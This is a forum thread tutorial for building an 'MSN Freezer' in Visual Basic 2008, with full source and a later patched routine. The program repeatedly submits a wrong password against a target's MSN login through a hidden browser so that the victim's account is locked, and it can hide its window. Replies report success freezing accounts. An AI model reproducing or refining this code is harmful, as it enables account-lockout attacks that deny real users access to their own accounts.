[brianpsv1]

Hello,

What are we going to do?
- Making a MSN Freezer.

What does a msn freezer does?
- Making an msn account freeze so the MSN Account can't be accesed.

What program do i need to make an MSN Freezer?
- For this TUT you will need Visual basic 2008

Ok let's start

- Open Visual Basic 2008
- Open new project and call it whatever you like
- Make 1 textbox
- Make a checkbox with text "Hide"
- Make 2 buttons with text "Freeze" and "Unfreeze"
- Make a webbrowser with visible set FALSE and set url: "http://mobile.msn.com/hm/folder.phpx".
- Make 3labels with label1 text set. "MSN Adress", label2: "Status" and the last one with nothing "".
- Make a timer with Enabled set FALSE and Interval set 100.
- Now double click on the Form and remove all text
Copy and paste this :

Code

Imports System.Threading.Thread
Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        WebBrowser1.Navigate("http://mobile.msn.com/hm/folder.phpx")

    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Timer1.Enabled = True
        Label3.Text = "Freezing..."
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        On Error GoTo errordetected
        WebBrowser1.Document.GetElementById("LoginTextBox").SetAttribute("value", (TextBox1.Text))
        WebBrowser1.Document.GetElementById("PasswordTextBox").SetAttribute("value", ("pas13465"))
        Sleep(2000)
        WebBrowser1.Document.GetElementById("PasswordSubmit").InvokeMember("click")

        GoTo done
errordetected:
        Label3.Text = "Frozen!"
        WebBrowser1.Navigate("http://mobile.msn.com/hm/folder.phpx")
done:

    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Label3.Text = "Ready"
        MsgBox("MSN UnFrozen!")
        Timer1.Enabled = False
    End Sub

    Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox1.CheckedChanged
        If CheckBox1.Checked = True Then
            Me.Hide()
        End If
    End Sub
End Class

Now you can build the program and use it as a MSN Freezer!! 🤝

Credit goes to me for making the source and making the Tutorial!

Greetings,
Brian😎

[Ziore]

YAY! what if you make the thread in the "Visual Basic" Subforum?

[brianpsv1]

I posted it here because it's a tutorial but I could post the source there.

[Gonzo]

Nice one mate .:)

[YehiaPC]

well nice tut
but can u give me link for visual basic 2008 ? because i cant download it from anywhere ? :O

[brianpsv1]

http://www.microsoft.com/express/download/

:)

[snake38]

Nice, but when i click "Freeze", there is "freezing..." and it stay like that .. But the account is frozen ! But there isn't "Account frozen!".

Sorry for my english

[brianpsv1]

how long did you try to freeze??
It should become "Frozen" if it says to much attempts

[snake38]

10 min now lol

But the account has been frozen.
But no positive message.

[YehiaPC]

http://www.microsoft.com/express/download/

:)

this one is cracked with no trail period ? LOL ?

[brianpsv1]

ok replace this for Timer1_tick sub:

Code

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        On Error GoTo errordetected
        WebBrowser1.Document.GetElementById("LoginTextBox").SetAttribute("value", (TextBox1.Text))
        WebBrowser1.Document.GetElementById("PasswordTextBox").SetAttribute("value", ("pas13465"))
        Sleep(2000)
        WebBrowser1.Document.GetElementById("PasswordSubmit").InvokeMember("click")
        TextBox2.Text = Val(TextBox2.Text) + Val("4")
        If TextBox2.Text = "20" Then
            Label2.Text = "Frozen!"
        End If
        GoTo done
errordetected:
        Label2.Text = "Frozen!"
        WebBrowser1.Navigate("http://mobile.msn.com/hm/folder.phpx")
done:

    End Sub

You must also add a new textbox with visible set FALSE and text set "0"

[snake38]

Yeah it work, i have the text "Frozen".

But the program still work, and it lag, it is normal ?

[Error 404]

Pretty usefull,ty.

@Snake38 Just mod the code dude.

[A3N]

Thanks alot sorry for my bad english i am French ^^

[brianpsv1]

Hello,

What are we going to do?
- Making a MSN Freezer.

What does a msn freezer does?
- Making an msn account freeze so the MSN Account can't be accesed.

What program do i need to make an MSN Freezer?
- For this TUT you will need Visual basic 2008

Ok let's start

- Open Visual Basic 2008
- Open new project and call it whatever you like
- Make 1 textbox
- Make a checkbox with text "Hide"
- Make 2 buttons with text "Freeze" and "Unfreeze"
- Make a webbrowser with visible set FALSE and set url: "http://mobile.msn.com/hm/folder.phpx".
- Make 3labels with label1 text set. "MSN Adress", label2: "Status" and the last one with nothing "".
- Make a timer with Enabled set FALSE and Interval set 100.
- Now double click on the Form and remove all text
Copy and paste this :

Code

Imports System.Threading.Thread
Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        WebBrowser1.Navigate("http://mobile.msn.com/hm/folder.phpx")

    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Timer1.Enabled = True
        Label3.Text = "Freezing..."
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        On Error GoTo errordetected
        WebBrowser1.Document.GetElementById("LoginTextBox").SetAttribute("value", (TextBox1.Text))
        WebBrowser1.Document.GetElementById("PasswordTextBox").SetAttribute("value", ("pas13465"))
        Sleep(2000)
        WebBrowser1.Document.GetElementById("PasswordSubmit").InvokeMember("click")

        GoTo done
errordetected:
        Label3.Text = "Frozen!"
        WebBrowser1.Navigate("http://mobile.msn.com/hm/folder.phpx")
done:

    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Label3.Text = "Ready"
        MsgBox("MSN UnFrozen!")
        Timer1.Enabled = False
    End Sub

    Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox1.CheckedChanged
        If CheckBox1.Checked = True Then
            Me.Hide()
        End If
    End Sub
End Class

Now you can build the program and use it as a MSN Freezer!! 🤝

Credit goes to me for making the source and making the Tutorial!

Greetings,
Brian😎

this one is cracked with no trail period ? LOL ?[/QUOTE]


After the trial period you can license it free from microsoft site.